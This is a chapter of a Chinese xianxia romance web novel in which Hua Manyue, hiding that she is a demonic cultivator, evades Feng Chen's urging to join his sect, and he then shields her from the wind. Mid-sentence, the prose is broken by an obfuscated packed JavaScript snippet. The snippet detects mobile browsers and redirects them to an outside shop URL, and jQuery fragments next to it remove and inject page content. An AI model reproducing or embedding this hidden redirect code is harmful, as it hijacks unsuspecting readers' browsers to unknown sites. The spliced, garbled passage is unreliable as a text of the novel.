花满月与封尘专注的目光对视着,有些无措地咬了两下嘴唇,略带慌乱地说道:“此事……我实在是不……”


    她吞吞吐吐地说着,一面刻意拖沓着语气,一面在脑海中努力思索着,试图想出一个没有反驳余地的新理由,好让封尘彻底绝了这个想法。


    岂料,封尘似乎通过她犹犹豫豫的语气,看出了她想要拒绝的意思,没等她想出拒绝的理由,就抢先一步开口。


    “我知此事事关重大,你心有犹豫。既如此,便也不必立即决定,好生思考一阵也无妨。”封尘对花满月缓缓说道,见到她明显松了一口气的模样,嘴角微动,接着说道,“我并未打算强求你做任何决定,只是你若是凡人,日后若再有意外,恐不能时时护在你身边。且有些修士,亦是狡诈多端,并不如天罗老鬼好糊弄。”


    花满月点了点头,表示自己也知晓这个道理。


    她当然知晓封尘这话是为了她着想,是真心忧心她的安危,才想着让她有几分自保能力,日后也不至于面对这些魔修,要用这种以命相搏的方式去解决。


    但她也不是不想,而是不能啊。自己又不是天龙人,修两种功法,她都害怕这两种截然相反的灵力,在她体内发生点什么,然后就会在“砰”的一声中,连她一起炸成烟花。


    如今之计,只有先使用拖字诀,让她想到一个天衣无缝的理由,寻一个天衣无缝的时机说出,再天衣无缝地提出离开。


    然后这回离开之后,花满月一定要立即遁逃,隐姓埋名躲一阵风声才行了。


    将打算捋清楚后,花满月的心情缓和了许多,她弯着眼睛,神情更为温柔,看着封尘柔声说道:“我知晓你的意思,只是我也对自己颇有自知之明,我并非心性坚定之辈,怕是难以承受修行的苦。如今你的良苦用心,我心中亦是知晓,只是这决定……”


    封尘听见了她前半段话,眼睛里似乎有笑意一闪而过,而后很快便接话道:“无妨。”


    花满月看他,看他这次的神情似乎比上次要平和,但态度却似乎要更坚决许多,登时也有一些头疼,不知如何是好。


    看样子没有一个强有力的理由,是肯定推拒不掉了。如今她和封尘两个人,就像两个犟种在拉锯战一样,各有各的缘故让不了步。


    果然有时候,太过于有责任心,也是一件让人有负担的事情。


    若是封尘没那么尽心尽力,估计救了人送到这儿之上之后,来探望一两回已是极限。


    可他实在是太过尽心,每日来不说,竟然还为了她有自保能力,苦口婆心规劝她加入玄门宗。


    她不是玄门宗的人,日后养好伤自可离去。可若是入了玄门宗,那不是……直接成为同门,然后隔三差五就得碰面?


    那要命的剑就不是高悬在她头顶了,而是直接横在她的脖子上,稍有不慎,一个歪头就给自己撞刀刃上了。


    到时候花满月的魔修身份暴露,玄门宗这么多人,她一个个求情磕头都磕不过来吧?


    花满月想想那个未来可能出现的场面,就忍不住打了一个寒颤,坚定了自己的想法。


    绝对不能心软!也绝对不能一时鬼迷心窍点头答应了!这可是要命的大事!


    在心中暗自警告了自己一番后,花满月看着面前的封尘,心中又莫名有些混乱的疑惑。


    说到底,为何封尘对她这般尽心尽力?即便她这个假货的体质少见,但修仙多年,应当也是见过不少的,难道他个个都这么救?


    那玄门宗得塞多少新人啊?每年新弟子的招收指标,起码得有一半是这些途径来的吧?


    想到这里,花满月心情有些微妙,但说不上来是哪里微妙。现在太多事情压在她的心头,让她思绪凌乱,根本没法静下心来,将这些乱成一锅八宝粥的事情理出头绪来。


    对了,说到八宝粥,她有点想喝了……


    封尘看着她神色忽地有些变了,不知是想到了什么,抿了一下唇,冷不丁问道:“你在想什么?”


    话一出口,察觉到自己语气可能有些生硬,封尘又将语气放得和缓一些,接着解释道:“我瞧你神色犹豫,似乎是有什么想法,却不敢说出口。我不知你心思,只是若你有所顾虑,不妨说与我听,我自当为你解决。”


    若是别人说这话,花满月会嗤之以鼻,然后说装起来了,还帮我解决,说大话谁不会啊。


    可这人是封尘,他一脸平和地说出这话,只让人莫名信服,连花满月有些混乱的心绪,也忽地安定了下来。


    她看着封尘,缓缓吐出一口气,头脑也冷静了许多,想道:还是得冷静点,这事倒也不必这么惊慌。修行这种事情,她不点头,还有人能给她按着头修炼,按着头引气入体?


    寻常修士就是自己每日勤勤恳恳打坐,能做到引气入体也需要好长一段时间,就更不用说日后枯燥无味的修炼了。


    师父领进门,修行在个人,她不肯修行,那师父是天帝,估计都拿她没招。


    想到这里,花满月又高兴起来,只是面上还是一副心事重重,犹豫不决的模样,抿着唇,对封尘轻轻摇了下头,勉强笑了笑。


    她飞快地组织了一下语言,看着眉头微微蹙起的封尘,字斟句酌地说道:“我知你的好心,才在此事上为我尽心。但此事……是我自己的缘故,旁的人实在帮不上什么忙,还得是我自己想清楚,才能做下如此决定。”


    花满月说到这里,刻意停顿了一下,然后还想接着说下去之时,忽然起风了。


    有些猛烈的风从她身后吹来,吹起她松松垮垮挽在身后的长发,在空中打了几个圈,然后糊在了花满月的脸上。


    花满月刚张开的嘴,立刻被迫闭上了,抬起一只手去扒脸上的头发。


    她刚扒开一边头发,便见到了封尘不知何时伸到自己面前的手。


    看着这只骨节分明,近在咫尺的手,花满月身形僵硬了一瞬。然后另一簇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561693|203120||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头发又在风的吹动下,“啪”的一声拍在了她的脸上。


    花满月便顾不得封尘了,赶紧将左手的书往旁边一放,准备两只手一起控制自己被吹得乱飞的头发。


    这样下去,不说形象不形象了,一会梳头的时候她就得遭报应了。


    花满月正努力拢着自己的头发,封尘带着凉意的指尖,就轻轻点在了她的额头上,猝不及防的冰凉触感,让花满月的身体下意识缩了一下,试图向后躲避。


    封尘的手指停顿一瞬,跟着她的动作一起,向前点在了她的额头,淡淡的光从他指间放出,又迅速隐没。


    花满月立即发觉,那阵恼人的风停了。


    而后,她睁开眼就发现,封尘的头发和衣摆仍在随风飘动,显然并不是风停了,而是风吹不到她身上了。


    想来是方才,封尘见到了自己狼狈的模样,于是给自己施了什么能避风的法术。


    花满月摸了摸被风吹得凌乱的头发,对这个便民法术十分心动。


    随即,封尘拿出一把木梳,递到了花满月的面前,虽没有出声,但意思非常明显。


    花满月看他一眼,只犹豫了一瞬,就低声道了一声谢,从他手上接过了那把梳子。


    单看外观,那把木梳似乎与一般的梳子无甚分别。可将那把木梳拿在手中,花满月就发现明显不同。


    先是入手触感,和一般的木梳并不同,反而像玉质的梳子一般,温润光滑还带着一点凉意。


    再者,这木梳上竟还刻着一朵梅花,还用不知道什么做成的白色颜料,将梅花的颜色添上了。


    花满月有些好奇,既是对木梳子的材质好奇,也对这个梅花图案好奇。毕竟从风格上来看,这似乎不是封尘会用的东西?


    不过也说不准,万一人不可貌相呢?封尘原先也是,看着惜字如金寡言少语,妥妥的高岭之花,谁知道本性会是这么的……善良?友好?


    花满月琢磨着想一个形容词,手上的动作也没停,一点点将自己被吹得打结的头发梳开。


    为了不让自己的用力过猛,扯到自己的头皮,然后露出龇牙咧嘴的狰狞表情,花满月可谓是小心又小心。


    好在她如今,因为身体缘故,发质好了不少,即便打结,梳几下也能梳得开。


    梳头发并不是问题,问题是封尘将梳子递给她后,依旧保持着原来的姿势,一动不动地半跪在她面前。


    他看起来没有给自己施法,风从他的身上吹过,将他的头发吹起,却没有让他变得狼狈。


    反而在头发拂过他的脸颊时,配合上他淡然无波,又分外出挑的脸,让他更多了几分风华。


    而这样的人,虽是半跪在她面前,因着身姿挺拔,故而气势却并不见弱,反倒是有一种等待出鞘的利剑的气势。


    花满月看他一眼,又看了他一眼,便赶紧克制着自己收回了目光,心中默念着“色即是空空即是色”,然后专心对付自己的头发。